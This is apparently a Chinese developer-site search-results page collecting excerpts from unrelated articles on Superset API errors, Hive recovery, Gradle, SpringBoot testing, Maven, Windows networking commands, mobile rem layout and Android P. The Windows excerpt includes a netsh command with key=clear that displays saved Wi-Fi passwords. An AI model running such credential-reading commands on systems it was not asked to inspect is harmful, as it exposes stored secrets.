[Table API中的状态管理实现 ]的搜索结果

...系统间的通信效率和可管理性。 此外，Google于今年初发布了gRPC 1.40版本，该版本引入了对HTTP/3协议的支持，这意味着gRPC将在未来拥有更低延迟和更强的网络容错能力。同时，为了更好地服务于异构系统间的互操作，gRPC还加强了与其他API规范（如GraphQL）的集成与转换工具支持。 对于希望深化gRPC技术应用的开发者而言，不仅可以通过查阅官方文档获取最新特性及最佳实践，还可以关注各大技术社区的相关讨论与案例分享，比如InfoQ、CNCF博客等平台都提供了许多关于gRPC实战与优化的深度解读文章。通过持续跟进gRPC的发展动态和技术趋势，开发者能够不断提升自身构建高性能、高可用分布式服务的能力。

... Superset中API调用返回HTTP错误的全面解析与解决方案 1. 引言 Superset，Apache软件基金会旗下的强大数据可视化和商业智能平台，以其丰富的图表类型、强大的SQL查询能力和便捷的API接口广受开发者喜爱。在实际编程干活的时候，咱们可能经常会碰到这么个情况：调用API接口，结果它返回了个HTTP错误，这就跟半路杀出个程咬金似的，妥妥地把我们的开发进度给绊住了。这篇文章的目标呢，就是想把这个问题掰开揉碎了讲明白，咱们会借助一些实实在在的代码例子，一块儿琢磨出问题出在哪儿，然后再对症下药，拿出解决的好法子来。 2. API调用中的HTTP错误概览 在与Superset的API进行交互时，HTTP错误是常见的反馈形式，它代表了请求处理过程中的异常情况。常见的HTTP错误状态码包括400（Bad Request）、401（Unauthorized）、403（Forbidden）、404（Not Found）等，每一种错误都对应着特定的问题场景。 - 例如：尝试访问一个不存在的资源可能会返回404错误： python import requests url = "http://your-superset-server/api/v1/fake-resource" response = requests.get(url) if response.status_code == 404: print("Resource not found!") 3. 分析并处理常见HTTP错误 3.1 400 Bad Request 这个错误通常意味着客户端发送的请求存在语法错误或参数缺失。比如在Superset里捣鼓创建仪表板的时候，如果你忘了给它提供必须的JSON格式数据，服务器就可能会蹦出个错误提示给你。 python 错误示例：缺少必要参数 payload = {} 应该包含dashboard信息的json对象 response = requests.post("http://your-superset-server/api/v1/dashboard", json=payload) if response.status_code == 400: print("Invalid request, missing required parameters.") 解决方法是确保你的请求包含了所有必需的参数并且它们的数据类型和格式正确。 3.2 401 Unauthorized 当客户端尝试访问需要认证的资源而未提供有效凭据时，会出现此错误。在Superset中，这意味着我们需要带上有效的API密钥或其他认证信息。 python 正确示例：添加认证头 headers = {'Authorization': 'Bearer your-api-key'} response = requests.get("http://your-superset-server/api/v1/datasets", headers=headers) 3.3 403 Forbidden 即使你提供了认证信息，也可能由于权限不足导致403错误。这表示用户没有执行当前操作的权限。检查用户角色和权限设置，确保其有权执行所需操作。 3.4 404 Not Found 如上所述，当请求的资源在服务器上不存在时，将返回404错误。请确认你的API路径是否准确无误。 4. 总结与思考 在使用Superset API的过程中遭遇HTTP错误是常态而非例外。每一个错误码，其实都在悄悄告诉我们一个具体的小秘密，就是某个环节出了点小差错。这就需要我们在碰到问题时化身福尔摩斯，耐心细致地拨开层层迷雾，把问题的来龙去脉摸个一清二楚。每一个“啊哈！”时刻，就像是我们对技术的一次热情拥抱和深刻领悟，它不仅让咱们对编程的理解更上一层楼，更是我们在编程旅途中的宝贵财富和实实在在的成长印记。所以呢，甭管是捣鼓API调用出岔子了，还是在日常开发工作中摸爬滚打，咱们都得瞪大眼睛，保持一颗明察秋毫的心，还得有股子耐心去解决问题。让每一次失败的HTTP请求，都变成咱通往成功的垫脚石，一步一个脚印地向前走。

...对大规模数据集的高效管理能力赢得了广泛的认可。然而，在我们日常运维的过程中，有时候会遇到个让人超级头疼的状况——Hive表的数据竟然出岔子了，或者干脆是损坏了。这篇东西咱们要实实在在地把这个难题掰开了、揉碎了讲明白，从它可能的“病因”一路聊到会带来哪些影响，再到解决这个问题的具体步骤和策略，还会手把手地带你瞅瞅实例代码是怎么操作演示的。 2. 数据损坏的原因剖析 （1）元数据错误 在Hive中，元数据存储在如MySQL或Derby等数据库中，若这部分信息出现丢失或损坏，可能导致Hive无法正确解析和定位数据块。例如，分区信息错误、表结构定义丢失等情况。 sql -- 假设某个分区信息在元数据库中被误删除 ALTER TABLE my_table DROP PARTITION (dt='2022-01-01'); （2）HDFS文件系统问题 Hive底层依赖于HDFS存储实际数据，若HDFS发生节点故障、网络中断导致数据复制因子不足或者数据块损坏，都可能导致Hive表数据不可用。 （3）并发写入冲突 多线程并发写入Hive表时，如果未做好事务隔离和并发控制，可能导致数据覆盖或损坏。 3. 数据损坏的影响及应对思考 数据损坏直接影响业务的正常运行，可能导致数据分析结果错误、报表异常、甚至业务决策失误。因此，发现数据损坏后，首要任务是尽快定位问题根源，并采取相应措施： - 立即停止受影响的服务，防止进一步的数据写入和错误传播。 - 备份当前状态，为后续分析和恢复提供依据。 - 根据日志排查，查找是否有异常操作记录或其他相关线索。 4. 数据恢复实战 （1）元数据恢复 对于元数据损坏，通常需要从备份中恢复，或重新执行DDL语句以重建表结构和分区信息。 sql -- 重新创建分区（假设已知分区详情） ALTER TABLE my_table ADD PARTITION (dt='2022-01-01') LOCATION '/path/to/backup/data'; （2）HDFS数据恢复 对于HDFS层的数据损坏，可利用Hadoop自带的hdfs fsck命令检测并修复损坏的文件块。 bash hdfs fsck /path/to/hive/table -blocks -locations -files -delete 此外，如果存在完整的数据备份，也可直接替换损坏的数据文件。 （3）并发控制优化 对于因并发写入引发的数据损坏，应在设计阶段就充分考虑并发控制策略，例如使用Hive的Transactional Tables（ACID特性），确保数据的一致性和完整性。 sql -- 开启Hive ACID支持 SET hive.support.concurrency=true; SET hive.txn.manager=org.apache.hadoop.hive.ql.lockmgr.DbTxnManager; 5. 结语 面对Hive表数据损坏的挑战，我们需要具备敏锐的问题洞察力和快速的应急响应能力。同时，别忘了在日常运维中做好预防工作，这就像给你的数据湖定期打个“小强针”，比如按时备份数据、设立警戒线进行监控告警、灵活配置并发策略等等，这样一来，咱们的数据湖就能健健康康，稳稳当当地运行啦。说实在的，对任何一个大数据平台来讲，数据安全和完整性可是咱们绝对不能马虎、时刻得捏在手心里的“命根子”啊！

...在Gradle插件中实现自定义错误处理逻辑，通过实例代码让你“身临其境”地理解和掌握这一技巧。 1. Gradle插件基础理解 首先，让我们回顾一下Gradle插件的基本概念。Gradle插件其实就像是给Gradle这位大厨添加一套新的烹饪秘籍，这些秘籍可以用Groovy或Kotlin这两种语言编写。它们就像魔法一样，能给原本的构建流程增添全新的任务菜单、个性化的调料配置，甚至是前所未有的操作手法，让构建过程变得更加丰富多彩，功能更加强大。在创建自定义插件时，我们通常会继承org.gradle.api.Plugin接口并实现其apply方法。 groovy class CustomPlugin implements Plugin { @Override void apply(Project project) { // 在这里定义你的插件逻辑 } } 2. 自定义错误处理的重要性 在构建过程中，可能会出现各种预期外的情况，比如网络请求失败、资源文件找不到、编译错误等。这些异常情况，如果我们没做妥善处理的话，Gradle这家伙通常会耍小脾气，直接撂挑子不干了，还把一串长长的堆栈跟踪信息给打印出来，这搁谁看了都可能会觉得有点闹心。所以呢，我们得在插件里头自己整一套错误处理机制，就是逮住特定的异常情况，给它掰扯清楚，然后估摸着是不是该继续下一步的操作。 3. 实现自定义错误处理逻辑 下面我们将通过一段示例代码来演示如何在Gradle插件中实现自定义错误处理： groovy class CustomPlugin implements Plugin { @Override void apply(Project project) { // 定义一个自定义任务 project.task('customTask') { doLast { try { // 模拟可能发生异常的操作 def resource = new URL("http://nonexistent-resource.com").openStream() // ...其他操作... } catch (IOException e) { // 自定义错误处理逻辑 println "发生了一个预料之外的问题: ${e.message}" // 可选择记录错误日志、发送通知或者根据条件决定是否继续执行 if (project.hasProperty('continueOnError')) { println "由于设置了'continueOnError'属性，我们将继续执行剩余任务..." } else { throw new GradleException("无法完成任务，因为遇到IO异常", e) } } } } } } 上述代码中，我们在自定义的任务customTask的doLast闭包内尝试执行可能抛出IOException的操作。当捕获到异常时，我们先输出一条易于理解的错误信息，然后检查项目是否有continueOnError属性设置。如果有，就打印一条提示并继续执行；否则，我们会抛出一个GradleException，这会导致构建停止并显示我们提供的错误消息。 4. 进一步探索与思考 尽管上面的示例展示了基本的自定义错误处理逻辑，但在实际场景中，你可能需要处理更复杂的情况，如根据不同类型的异常采取不同的策略，或者在全局范围内定义统一的错误处理器。为了让大家更自由地施展拳脚，Gradle提供了一系列超级实用的API工具箱。比如说，你可以想象一下，在你的整个项目评估完成之后，就像烘焙蛋糕出炉后撒糖霜一样，我们可以利用afterEvaluate这个神奇的生命周期回调函数，给项目挂上一个全局的异常处理器，确保任何小差错都逃不过它的“法眼”。 总的来说，在Gradle插件中定义自定义错误处理逻辑是一项重要的实践，它能帮助我们提升构建过程中的健壮性和用户体验。希望本文举的例子和讨论能实实在在帮到你，让你对这项技术有更接地气的理解和应用。这样一来，任何可能出现的异常情况，咱们都能把它变成一个展示咱优雅应对、积极改进的好机会，让问题不再是问题，而是进步的阶梯。

...t.jupiter.api.Test; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.boot.test.context.SpringBootTest; @SpringBootTest public class UserServiceTest { @Autowired private UserService userService; // 我们要测试的服务类 @Test public void testGetUserById() { // 假设我们有一个获取用户信息的方法 User user = userService.getUserById(1); // 断言结果符合预期 assertNotNull(user); assertEquals("预期的用户名", user.getUsername()); } // 更多测试方法... } 在这个例子中，@SpringBootTest注解使得Spring Boot应用上下文被加载，从而我们可以注入需要测试的服务对象。@Test注解则标记了这是一个单元测试方法。 4. 使用MockMvc进行Web接口测试 当我们要测试Controller层的时候，可以借助SpringBootTest提供的MockMvc工具进行模拟请求测试： java import org.junit.jupiter.api.Test; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.boot.test.autoconfigure.web.servlet.AutoConfigureMockMvc; import org.springframework.boot.test.context.SpringBootTest; import org.springframework.test.web.servlet.MockMvc; import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.get; import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status; @SpringBootTest @AutoConfigureMockMvc public class UserControllerTest { @Autowired private MockMvc mockMvc; @Test public void testGetUser() throws Exception { mockMvc.perform(get("/users/1")) .andExpect(status().isOk()); // 可以进一步解析响应内容并进行断言 } } 在这段代码中，@AutoConfigureMockMvc注解会自动配置一个MockMvc对象，我们可以用它来模拟HTTP请求，并检查返回的状态码或响应体。 5. 结语 通过以上示例，我们可以看到SpringBoot与JUnit的集成使单元测试变得更加直观和便捷。这东西可不简单，它不仅能帮我们把每一行代码都捯饬得准确无误，更是在持续集成和持续部署（CI/CD）这一套流程里，扮演着不可或缺的关键角色。所以，亲，听我说，把单元测试搂得紧紧的，特别是在像SpringBoot这样新潮的开发框架下，绝对是每个程序员提升代码质量和效率的必修课。没有它，你就像是在编程大道上少了一双好跑鞋，知道不？在实际动手操作中不断摸索和探究，你会发现单元测试就像一颗隐藏的宝石，充满了让人着迷的魅力。而且，你会更深刻地感受到，它在提升开发过程中的快乐指数、让你编程生活更加美滋滋这方面，可是起着大作用呢！

...EP 525协程本地管理的支持以及对异步上下文管理器的改进，使得开发者能够更加自如地利用AsyncIO构建高性能应用。同时，社区中有关如何更深度集成其他基于AsyncIO的库（如FastAPI、Django Channels等）以提升Tornado应用性能的讨论热度不减。 此外，随着云原生架构的普及，异步编程在容器化环境中的优势日益凸显。例如，在Kubernetes集群中部署大规模并发服务时，通过精心设计的异步模型可以有效减少资源占用，提高服务响应速度。一些最新的研究和案例分析展示了如何将AsyncIO和Tornado这样的异步框架应用于微服务架构，实现更好的横向扩展能力和更高的系统吞吐量。 综上所述，对于热衷于利用Python开发高性能Web服务的开发者而言，紧跟AsyncIO及Tornado框架的最新进展，并了解其在实际应用场景中的最佳实践，无疑是不断提升技术水平和优化项目性能的关键所在。建议读者继续关注相关技术博客、官方文档更新以及行业会议演讲，以便及时获取第一手资料和实践经验。

...che开源的一款项目管理工具，它极大地简化了项目构建、依赖管理和版本控制等工作。在实际工作中，咱们免不了会遇到一些让人挠头的难题。比如亲手下载并自定义配置了Maven后，当你满心欢喜地引入其他模块时，它却突然给你来个错误提示，让你措手不及。今天咱们就一块儿把这个难题给掰扯清楚，我手把手带你，从入门级别一路升级打怪，直到成为解决这个问题的老司机。 二、Maven基础概念 1. 什么是Maven？ Maven是一个基于Java语言的项目构建工具，它的核心理念是约定优于配置。你知道吗，就像乐高说明书一样，我们通过一个叫做pom.xml的XML文件来给项目“画图纸”。这个文件可厉害了，它详细规划了项目的结构布局、各个部分之间的依赖关系，还负责制定构建任务等一系列重要信息。这样一来，整个项目的构建过程就变得既规范又自动化，跟流水线生产似的。这不仅让工作流程顺畅无比，更是让团队成员间的协作效率蹭蹭上涨，效果那是杠杠滴！ 2. Maven生命周期与核心模块 Maven项目存在默认的生命阶段，如clean, initialize, validate, compile, test-compile, test, package, install, deploy等。这些阶段按照顺序执行，并在每个阶段内部执行相应的任务。此外，Maven的核心模块主要包括：Artifact（即我们常说的jar包）、Repository（仓库）、Plugin（插件）等。 三、自定义下载Maven及配置 1. 下载与安装Maven 在互联网上，官方提供了Maven的预编译发行版供用户直接下载。下载完成后，解压得到Maven安装目录，通常为apache-maven-X.X.X-bin.tar.gz（X.X.X为版本号）。将此目录添加至系统的PATH环境变量即可全局使用。 bash Linux/Mac tar -xzf apache-maven-X.X.X-bin.tar.gz export MVN_HOME=路径/to/maven_home export PATH=$MVN_HOME/bin:$PATH powershell Windows $env:Path += ";$env:mvn_home\bin" 2. 配置本地仓库与远程仓库 Maven在构建过程中会首先检查本地仓库是否有所需依赖，如果没有则从远程仓库下载。配置这两个仓库需要在settings.xml文件中进行： xml path/to/local/repo central https://repo1.maven.org/maven2/ 四、自定义下载Maven引入报错分析 当我们自定义下载Maven并正确配置后，常见的引入报错主要有以下几种： 1. 标签错误 如果我们在pom.xml文件中的标签内书写依赖声明不规范，如缺少groupId、artifactId、version等属性，Maven会在编译阶段抛出异常。 示例： xml example-dependency 正确写法： xml com.example example-dependency 1.0.0 2. 依赖版本冲突 当两个或多个模块引用了同一个依赖的不同版本，导致版本冲突时，Maven无法确定使用哪个版本，从而引发依赖冲突。 示例： xml ... org.slf4j slf4j-api 1.7.30 ... org.slf4j slf4j-api 2.0.0 解决方案：统一各模块对同一依赖使用的版本，或者利用Maven的dependencyManagement或dependencyResolutionProblemAggregator插件来处理。 五、总结与反思 面对自定义下载Maven引入报错问题，我们需要仔细排查并理解依赖声明、配置设置、版本管理等方面可能存在的问题。有时候，这不仅仅是在考验我们的编程功夫，更是实实在在地磨炼我们搞定问题、排解代码bug的硬实力。想要真正地玩转Maven，让这个家伙在项目构建这条道路上为你效力到极致，那就必须不断动手实践、积极摸索，没别的捷径可走。所以，请勇敢地面对报错，学会从中吸取教训，相信每一个Maven新手最终都能成为真正的专家！

...AC filter table. 3.5 NAT 查看当前机器的NAT端口代理表： netsh interface portproxy show all 1) 第三方软件PortTunnel。 2) ICS（Internet Connection Sharing）是NAT的简化版。 3) showcase: USB Reverse Tethering 3.6 route命令用法 route [-f] [-p] [command [destination] [mask netmask] [gateway] [metric metric] [if interface]] route print ::增加一条到192.168.0.10/24网络的路由，网关是192.168.0.1，最后一个if参数是数字，可以使用route print查询，类似于Android的NetId。 route add 192.168.0.0 mask 255.255.255.0 192.168.0.1 metric 1 if 11 ::删除192.168.0.10这条路由 route delete 192.168.0.0 3.7 VLAN PowerShell Get-NetAdapter PowerShell Set-NetAdapterAdvancedProperty -Name \"Ethernet 3\" -DisplayName \"VLAN ID\" -DisplayValue 24 PowerShell Reset-NetAdapterAdvancedProperty -Name \"Ethernet 3\" -DisplayName \"VLAN ID\" 3.8 WiFi AP 1) get password netsh wlan show profiles netsh wlan show profiles name="FAST_ABCD" key=clear 2) enable Soft AP netsh wlan show drivers ::netsh wlan set hostednetwork mode=allow netsh wlan set hostednetwork mode=allow ssid=myWIFI key=12345678 netsh wlan start hostednetwork ::netsh wlan stop hostednetwork 3.9 Malicious software Task Manager Find process name, open file location, remove xxx.exe, rename empty xxx.txt to xxx.exe 4 Office 4.1 Excel Insert Symbol More Symbols Wingdings 2 4.2 Outlook 4.2.1 邮箱清理 点击 自己的邮件名字 Data File Properties（数据文件属性） Folder Size（文件夹大小） Server Data（服务器数据） 从左下角“导航选项”中切换到“日历” View（视图） Change View（更改视图） List（列表） 删除“日历”中过期的项目。 Calendar (Left Bottom) - View (Change View to Calendar) - Choose Menu Month 4.2.2 TCAM filter rule Home - ... - Rules - Create Rule (Manage Rules & Alerts) - Title 4.3 Powerpoint画图 插入 - > 形状 Insert - > Shapes 4.4 Word 升级目录 [References][Update Table] 5 Sprax EA 5.1 Basic Design - Toolbox Message/Argument/Return Value Publish - Save - Save to Clipboard 5.2 Advanced Copy/Paste - Copy to Clipboard - Full Structure for Duplication Copy/Paste - Paste Package from Clipboard 6 USB Win7 CMD: wmic path Win32_PnPSignedDriver | find "Android" wmic path Win32_PnPSignedDriver | find "USB" :: similar to Linux lsusb wmic path Win32_USBControllerDevice get Dependent 7 Abbreviations CAB: Capacity Approval Board NPcap: Nmap Packet Capture wmic: Windows Management Instrumentation Command-line 本篇文章为转载内容。原文链接：https://blog.csdn.net/zoosenpin/article/details/118596813。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...高清屏的1像素就不能实现了，如果你必须要实现1像素，那么自行谷歌：css 0.5像素，有N多的解决方案，这里不再赘述。 5.问：有时候字体会不受控制的变大，怎么办？ 答：在X5新内核Blink中，在排版页面的时候，会主动对字体进行放大，会检测页面中的主字体，当某一块字体在我们的判定规则中，认为字号较小，并且是页面中的主要字体，就会采取主动放大的操作。然而这不是我们想要的，可以采取给最大高度解决 解决方案： , :before, :after { max-height: 100000px } 补充：有同学反映，在一些情况下 textarea 标签内的字体大小即便加上上面的方案，字体也会变大，无法控制。此时你需要给 textarea 的 display 设为 table 或者 inline-table 即可恢复正常。（感谢 程序媛喵喵 对此的补充！2017/7/7） 6.问：我在底部导航用的flex感觉更合适一些，请问这样子混着用可以吗？ 答：咱们的rem适合写固定尺寸。其余的根据需要换成flex或者百分比。源码示例中就有这三种的综合运用。 7.问：在高清方案下，一个标准的，较为理想的宽度为640的页面效果图应该是怎样的？ 点击浏览：一个标准的640手机页面设计稿参考（没错，在此方案中，你可以完全按照这张设计稿的尺寸写布局了。就是这么简单！） 8.问：用了这个方案如何使用媒体查询呢？ 一般来讲，使用了这个方案是没必要用媒体查询了，如果你必须要用，假设你要对 iphone5 （css像素宽度320px, 这里需要取其物理像素，也就是640）宽度下的类名做处理，你可以这样 @media screen and (max-width: 640px) {.yourLayout {width:100%;} } 9.问：可以提供下这个高清方案的源码吗？ 'use strict';/ @param {Boolean} [normal = false] - 默认开启页面压缩以使页面高清; @param {Number} [baseFontSize = 100] - 基础fontSize, 默认100px; @param {Number} [fontscale = 1] - 有的业务希望能放大一定比例的字体;/const win = window;export default win.flex = (normal, baseFontSize, fontscale) => {const _baseFontSize = baseFontSize || 100;const _fontscale = fontscale || 1;const doc = win.document;const ua = navigator.userAgent;const matches = ua.match(/Android[\S\s]+AppleWebkit\/(\d{3})/i);const UCversion = ua.match(/U3\/((\d+|\.){5,})/i);const isUCHd = UCversion && parseInt(UCversion[1].split('.').join(''), 10) >= 80;const isIos = navigator.appVersion.match(/(iphone|ipad|ipod)/gi);let dpr = win.devicePixelRatio || 1;if (!isIos && !(matches && matches[1] > 534) && !isUCHd) {// 如果非iOS, 非Android4.3以上, 非UC内核, 就不执行高清, dpr设为1;dpr = 1;}const scale = normal ? 1 : 1 / dpr;let metaEl = doc.querySelector('meta[name="viewport"]');if (!metaEl) {metaEl = doc.createElement('meta');metaEl.setAttribute('name', 'viewport');doc.head.appendChild(metaEl);}metaEl.setAttribute('content', width=device-width,user-scalable=no,initial-scale=${scale},maximum-scale=${scale},minimum-scale=${scale});doc.documentElement.style.fontSize = normal ? '50px' : ${_baseFontSize / 2 dpr _fontscale}px;}; 10.问：我在使用 rem 布局进阶方案的时候遇到了XXX的问题，如何解决？ 此方案久经考验，具有普遍适用性，自身出致命问题的情况很少，至少笔者是没遇到过。 绝大多数你遇到的问题，都是由于对rem布局理解不到位导致的。本文对rem布局做了大量的解释说明，配置了若干 demo，你可以把你遇到的问题放到demo里测试。遇到问题时，首先问自己，为什么这明显的错误大家没遇到就我遇到了？？ 如果你真的经过充分验证，比对，确实是rem布局自身出了问题，那么请私信我，把还原问题场景的 demo 或者文件发给我。谢谢！ 本篇文章为转载内容。原文链接：https://blog.csdn.net/hjhfreshman/article/details/88864894。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...体验。 · 动态电量管理 (Adaptive Battery) 无论用户们使用的是何种手机，电量一直都是他们最为关心问题。在 Android P 中，我们和 DeepMind 合作推出了一个全新功能，即动态电量管理 (Adaptive Battery)，来优化各个应用的电量使用。 动态电量管理通过机器学习来管理用户们最关心的那些应用所能占用的系统资源。各个应用会被划分到四个不同的群组里，这些群组对系统资源调用有不同的限制，我们称之为 “应用待机群组 (App Standby buckets)”。随着用户的使用，应用会在这四个群组里切换，那些不在 “活跃 (active)” 组里的应用在包括任务 (jobs)、警报、网络以及高优先级的 Firebase Cloud Messages 等资源调用上会受到相应的限制。 如果您的应用已经针对 Doze, App Standby 和后台运行限制做过优化，那么它就应该已经能和动态电量管理完美配合。我们建议您在四个应用待机群组中都对自己的 app 进行测试，请阅读相关文档了解详情。 · App Actions 当用户想要做一个操作的时候，App Actions 会推荐能帮助他们完成这个操作的 app，而且这个推荐的功能会覆盖整个操作系统中的重要交互环节，比如启动器 (Launcher)、智能文本选择、Google Play、Google Search 应用，以及 Assistant。 App Actions 通过机器学习来分析用户最近的行为或使用场景，从而筛选出需要推荐的应用。由于这些推荐与用户当前想要做的事情高度关联，所以这套机制非常利于拓展新用户以及促活现有用户。 只需将您应用中的各个功能定义为语义意图 (semantic intent)，便可以充分享受 App Actions 带来的好处。App Actions 中的意图和我们早些时候在 Google Assistant 上推出的语音对谈式动作 (Conversational Action) 是使用同一套通用意图分类，这个分类支持语音控制的音箱、智能屏幕、车载系统、电视、耳机等设备。由于不需要额外的 API 接口，所以只要用户的 Android 平台版本支持，App Actions 就可以正常使用了。 App Actions 很快就会面向开发者发布，如果您希望收到这方面的通知，请点击这里找到相关链接参与订阅。 · Slices 和 App Actions 一同到来的新功能还有 Slices，这个功能可以让您的应用以模块化、富交互的形式插入到多个使用场景中，比如 Google Search 和 Assistant。Slices 支持的交互包括 actions、开关、滑动条、滑动内容等等。 Slices 是让内容与用户联系的极佳方式，所以我们希望它可以在更多的场景中出现。除了在 Android P 上对这个功能进行了平台级别的整合外， Slices 的 API 和模板也加入到了 Android Jetpack 里。Android Jetpack 是我们全新打造的一套创建优秀应用的工具和库，通过 Android Jetpack，您制作的 Slices 能在 Kitkat (API 等级 19) 及更高版本上使用 —— 这覆盖了 95% 的已激活 Android 设备。我们也会定期更新 Slices 的模板来支持更多类型的场景和交互 (比如文本输入)。 请查阅上手指南以了解如何制作 Slices，使用 SliceViewer 工具查看您做好的 Slices。接下来，我们计划进一步拓展其使用场景，包括在其他 app 中展现您的 Slices。 · 通知智能回复 (Smart reply in notifications) 机器智能可以为用户体验带来非常积极的进化，Gmail 和 Inbox 里的智能回复功能已经成功地证明了这一点。在 Android P 中，通知消息也加入了智能回复功能，而且我们准备了 API 让您可以为用户带来更度身的使用感受。用来帮助您更轻松地在通知中生成回复的 ML Kit 很快就会到来，请 点击访问此网站 了解详情。 · 文本识别 (Text Classifier) 在 Android P 中，我们将识别文本的机器学习模型进行了扩展，使得它可以识别出诸如日期或航班号这样的信息，并通过 TextClassifier API 来让开发者使用到这些改进。我们还更新了 Linkify API 来利用文本识别的结果生成链接，并为用户提供了更多点击后的选项，从而让他们得以更快地进行下一步操作。当然，开发者也可以在给文本识别出来的信息添加链接时拥有更多的选项。智能 Linkify 在识别精准度以及速度上都有明显的提升。 这个模型现在正在通过 Google Play 进行更新，所以您的应用使用现有的 API 就可以享受到本次更新所带来的变化。在安装更新完的模型后，设备即可直接在本地识别文本里的各种信息，而且这些识别出来的信息只保存在您的手机上而不会通过网络流传出去。 请点击蓝色字体前往 “Android Developers 官方文档”查看详细说明 简洁 (Simplicity) 在 Android P，我们格外强调简洁，并据此改进 Android 的 UI 从而帮助用户们更流畅、更高效地完成操作。对开发者来说，简洁的系统则会帮助用户更容易查找、使用和管理您的应用。 · 全新系统导航 (New system navigation) 我们为 Android P 设计了全新的系统导航，只需使用下图中这个在所有界面中都能看到的小按钮，即可更轻松地访问手机主屏、概览页以及 Assistant。新导航系统也使多任务切换及发现关联应用变得更加简单。在概览页，用户可以拥有更大的视野来查看他们之前中断的操作，这自然也会让他们更容易找到并回到之前的应用中。概览页也提供了搜索、预测推荐应用以及上文提到的 App Actions，而且只需再多划一次即可进入所有应用的列表。 · 文字放大镜 (Text Magnifier) 在 Android P 中，我们加入了新的放大镜工具 (Magnifier widget)，使选择文本和调整光标位置变得更加轻松。默认情况下，所有继承自 TextView 的类都会自动支持放大镜，但您也可以使用放大镜 API 将它添加到任何自定义的视图上，从而打造更多样化的体验。 · 后台限制 (Background restrictions) 用户可以更加简单地找到并管理那些在后台消耗电量的应用。通过 Android Vitals 积累下来的成果，Android 可以识别那些过度消耗电量的行为，如滥用唤醒锁定等。在 Android P 中，电池设置页面直接列出了这些过度消耗电量的应用，用户只需一次点击就可以限制它们在后台的活动。 一旦应用被限制，那么它的后台任务、警报、服务以及网络访问都会受限。想要避免被限制的话，请留意 Play Console 中的Android Vitals 控制面板，帮助您了解如何提高性能表现以及优化电量消耗。 后台限制能有效保护系统资源不被恶意消耗，从而确保开发者的应用在不同制造商的不同设备上也能拥有一个基础的合理的运行环境。虽然制造商可以在限制列表上额外添加限制的应用，但它们也必须在电池设置页面为用户开放这些限制的控制权。 我们添加了一个标准 API 来帮助应用知晓自己是否被限制，以及一个 ADB 命令来帮助开发者手动限制应用，从而进行测试。具体请参阅相关文档。接下来我们计划在 Play Console 的 Android Vitals 控制面板里添加一个统计数据，以展示应用受到限制的情况。 · 使用动态处理增强音频 (Enhanced audio with Dynamics Processing) Android P 在音频框架里加入了动态处理效果 (Dynamic Processing Effect) 来帮助开发者改善声音品质。通过动态处理，您可以分离出特定频率的声音，降低过大的音量，或者增强那些过小的音量。举例来说，即便说话者离麦克风较远，而且身处嘈杂或者被刺耳的各种环境音包围的地方，您的应用依然可以有效分离并增强他/她的细语。 动态处理 API 提供了多声场、多频段的动态处理效果，包括一个预均衡器、一个多频段压缩器，一个后均衡器以及一个串联的音量限制器。这样您就可以根据用户的喜好或者环境的变化来控制 Android 设备输出的声音。频段数量以及各个声场的开关都完全可控，大多数参数都支持实时控制，如增益、信号的压缩/释放 (attack/release) 时长，阈值等等。 请点击蓝色字体前往 “Android Developers 官方文档”查看详细说明 安全 (Security) · 用户识别提示 (Biometric prompt) Android P 为市面上涌现出来的各种用户识别机制在系统层面提供了统一的使用体验，应用们不再需要自行提供用户识别操作界面，而只需要使用统一的 BiometricPrompt API 即可。这套全新的 API 替代了 DP1 版本中的 FingerprintDialog API，且支持包括指纹识别 (包括屏幕下指纹识别)、面部识别以及虹膜识别，而且所有系统支持的用户识别需求都包含在一个 USE_BIOMETRIC 权限里。FingerprintManager 以及对应的 USE_FINGERPRINT 权限已经被废弃，请开发者尽快转用 BiometricPrompt。 · 受保护的确认操作 (Protected Confirmation) Android P 新增了受保护的确认操作 (Android Protected Confirmation)，这个功能使用可信执行环境 (Trusted Execution Environment, TEE) 来确保一个显示出来的提示文本被真实用户确认。只有在用户确认之后，TEE 才会放行这个文本并可由应用去验证。 · 对私有密钥的增强保护 (Stronger protection for private keys) 我们添加了一个新的 KeyStore 类型，StrongBox。并提供对应的 API 来支持那些提供了防入侵硬件措施的设备，比如独立的 CPU，内存以及安全存储。您可以在 KeyGenParameterSpec 里决定您的密钥是否该交给 StrongBox 安全芯片来保存。 Android P Beta 为用户带来新版本的 Android 需要 Google、芯片供应商以及设备制造商和运营商的共同努力。这个过程中充满了技术挑战，并非一日之功 —— 为了让这个过程更加顺畅，去年我们启动了 Project Treble，并将其包含在 Android Oreo 中。我们与合作伙伴们一直在努力开发这个项目，也已经看到 Treble 所能带来的机遇。 我们宣布，以下 6 家顶级合作伙伴将和我们一起把 Android P Beta 带给全世界的用户，这些设备包括：索尼 Xperia XZ2, 小米 Mi Mix 2S, 诺基亚 7 Plus, Oppo R15 Pro, Vivo X21UD 和 X21, 以及 Essential PH‑1。此外，再加上 Pixel 2, Pixel 2 XL, Pixel 和 Pixel XL，我们希望来自世界各地的早期体验者以及开发者们都能通过这些设备体验到 Android P Beta。 您可查看今天推送的文章查阅支持 beta 体验的合作伙伴和 Pixel 设备清单，并能看到每款设备的详细配置说明。如果您使用 Pixel 设备，现在就可以加入 Android Beta program，然后自动获得最新的 Android P Beta。 马上开始在您喜欢的设备上体验 Android P Beta 吧，欢迎您向我们反馈意见和建议！并请继续关注 Project Treble 的最新动态。 确保 app 兼容 随着越来越多的用户开始体验 Android P Beta，是时候开始测试您 app 的兼容性，以尽早解决在测试中发现的问题并尽快发布更新。请查看迁移手册了解操作步骤以及 Android P 的时间推进表。 请从 Google Play 下载您的应用，并在运行 Android P Beta 的设备或模拟器上测试用户流程。确保您的应用体验良好，并正确处理 Android P 的行为变更。尤其注意动态电量管理、Wi-Fi 权限变化、后台调用摄像头以及传感器的限制、针对应用数据的 SELinux 政策、默认启用 TLS 的变化，以及 